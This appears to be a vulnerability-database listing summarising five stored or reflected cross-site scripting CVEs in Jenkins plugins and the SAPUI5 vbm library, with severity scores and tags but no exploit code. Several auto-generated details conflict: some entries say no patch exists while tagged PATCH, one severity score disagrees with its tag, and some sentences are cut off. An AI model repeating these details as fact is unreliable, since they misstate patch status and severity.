Jenkins Gerrit Trigger Plugin 2.35.2 and earlier does not escape the name and description of Base64 Encoded String parameters on views displaying parameters, resulting in a stored cross-site. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Jenkins Gerrit Trigger
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Jenkins Extended Choice Parameter Plugin 346.vd87693c5a_86c and earlier does not escape the name and description of Extended Choice parameters on views displaying parameters, resulting in a stored. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Jenkins Extended Choice Parameter
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Jenkins CVS Plugin 2.19 and earlier does not escape the name and description of CVS Symbolic Name parameters on views displaying parameters, resulting in a stored cross-site scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Jenkins Cvs
NVD
EPSS 79% CVSS 5.4
MEDIUM PATCH This Month

Jenkins Credentials Plugin 1111.v35a_307992395 and earlier, except 1087.1089.v2f1b_9a_b_040e4, 1074.1076.v39c30cecb_0e2, and 2.6.1.1, does not escape the name and description of Credentials. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Jenkins Credentials
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Due to insufficient input validation, SAPUI5 library(vbm) - versions 750, 753, 754, 755, 75, allows an unauthenticated attacker to inject a script into the URL and execute code. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Sapui5 Library
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39237

Related CWEs

MITRE ATT&CK

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